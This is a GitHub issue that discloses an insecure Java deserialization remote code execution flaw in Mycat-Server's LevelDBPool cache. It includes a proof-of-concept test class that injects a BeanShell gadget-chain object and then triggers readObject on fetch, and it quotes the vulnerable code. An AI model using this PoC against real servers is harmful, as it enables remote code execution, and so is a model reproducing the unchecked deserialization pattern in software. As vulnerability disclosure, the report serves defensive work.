MyCATApache / Mycat-Server

GNU General Public License v2.0
9.51k stars 3.85k forks source link

A Remote Code Execution vulnerability #2954

Open adv851 opened 3 months ago

adv851 commented 3 months ago

1、Description When using LevelDBPool to cache frequently accessed data or to optimize distributed system performance, the LevelDBPool.get method does not perform type validation and security checks on cached objects when a user fetches them and deserializes them as Java instances. As a result, an attacker can trigger an insecure deserialization process by first injecting a malicious object in the cache using the putIfAbsent method and then fetching the object via the get method. In this way, the attacker can execute arbitrary code on the target system, posing a serious security threat.

2、affected versions Mycat-server-1.6.7.6-test and earlier versions

3、 Reproduce We can simulate the (simplified) process of exploiting this vulnerability by slightly modifying the TestCachePoolPerformance.java code (the test unit in the project source code).

/*
 * Copyright (c) 2020, OpenCloudDB/MyCAT and/or its affiliates. All rights reserved.
 * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
 *
 * This code is free software;Designed and Developed mainly by many Chinese 
 * opensource volunteers. you can redistribute it and/or modify it under the 
 * terms of the GNU General Public License version 2 only, as published by the
 * Free Software Foundation.
 *
 * This code is distributed in the hope that it will be useful, but WITHOUT
 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
 * FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
 * version 2 for more details (a copy is included in the LICENSE file that
 * accompanied this code).
 *
 * You should have received a copy of the GNU General Public License version
 * 2 along with this work; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
 * 
 * Any questions about this component can be directed to it's project Web address 
 * https://code.google.com/p/opencloudb/.
 *
 */
package io.mycat.cache;

import io.mycat.cache.CachePool;
import io.mycat.cache.CacheStatic;
import io.mycat.cache.impl.EnchachePool;
import io.mycat.cache.impl.LevelDBCachePooFactory;
import io.mycat.cache.impl.MapDBCachePooFactory;
/**
 * test cache performance ,for encache test set  VM param  -server -Xms1100M -Xmx1100M
 * for mapdb set vm param -server -Xms100M -Xmx100M -XX:MaxPermSize=1G
 */
import net.sf.ehcache.Cache;
import net.sf.ehcache.CacheManager;
import net.sf.ehcache.config.CacheConfiguration;
import net.sf.ehcache.config.MemoryUnit;

import static demo.payload.evilObjGenerator.EvilObjGenerator.getEvilBshObj;

public class TestCachePoolPerformance {
    private CachePool pool;
    private int maxCacheCount = 100 * 10000;

    public static CachePool createEnCachePool() {
        CacheConfiguration cacheConf = new CacheConfiguration();
        cacheConf.setName("testcache");
        cacheConf.maxBytesLocalHeap(400, MemoryUnit.MEGABYTES)
                .timeToIdleSeconds(3600);
        Cache cache = new Cache(cacheConf);
        CacheManager.create().addCache(cache);
        EnchachePool enCachePool = new EnchachePool(cacheConf.getName(),cache,400*10000);
        return enCachePool;
    }

    public static CachePool createLevelDBCachePool() {
        LevelDBCachePooFactory fact = new LevelDBCachePooFactory();
        return fact.createCachePool("mapdbcache", 100 * 10000, 3600);
    }

    public void test() throws Exception {
        testSwarm();
    }

    private void testSwarm() throws Exception {
        System.out.println("prepare ........");
        for (int i = 0; i < 2; i++) {
            pool.putIfAbsent(i % 100, getEvilBshObj());  // point 1: inject evil object
        }
        for (int i = 0; i < 2; i++) {
            pool.get(i % 100);  // point 2: trigger the unsafe deserialization process, and launch a remote code execution attack.
        }
        pool.clearCache();
    }

    public static void main(String[] args) throws Exception {
        TestCachePoolPerformance tester = new TestCachePoolPerformance();
        tester.pool = createLevelDBCachePool();
        tester.test();
    }
}
public class LevelDBPool implements CachePool {
    @Override
    public Object get(Object key) {

        Object  ob= toObject(cache.get(toByteArray(key)));
        if (ob != null) {
            if (LOGGER.isDebugEnabled()) {
                LOGGER.debug(name+" hit cache ,key:" + key);
            }
            cacheStati.incHitTimes();
            return ob;
        } else {
            if (LOGGER.isDebugEnabled()) {
                LOGGER.debug(name+"  miss cache ,key:" + key);
            }
            cacheStati.incAccessTimes();
            return null;
        }
    }

    public  Object toObject (byte[] bytes) {        
        Object obj = null;   
        if ((bytes==null) || (bytes.length<=0)) {
            return obj;
        }
        try {          
            ByteArrayInputStream bis = new ByteArrayInputStream (bytes);          
            ObjectInputStream ois = new ObjectInputStream (bis);          
            obj = ois.readObject();        
            ois.close();     
            bis.close();     
        } catch (IOException ex) {    
            LOGGER.error("toObjectError", ex);
        } catch (ClassNotFoundException ex) {          
            LOGGER.error("toObjectError", ex);
        }        
        return obj;      
    } 
}

point 2: LevelDBPool.get method uses the JDK's native deserialization protocol, and the absence of any configured blacklists, a multitude of well-known gadget chains can be employed for attacks. Below, an example is provided using a well-known gadget chain (e.g. in getEvilBshObj()).

Attack Impact

Remote Command Execution (RCE), in this attack test, manifests as the invocation of the calculator application.

截屏2024-08-16 00 03 11 截屏2024-08-16 00 03 50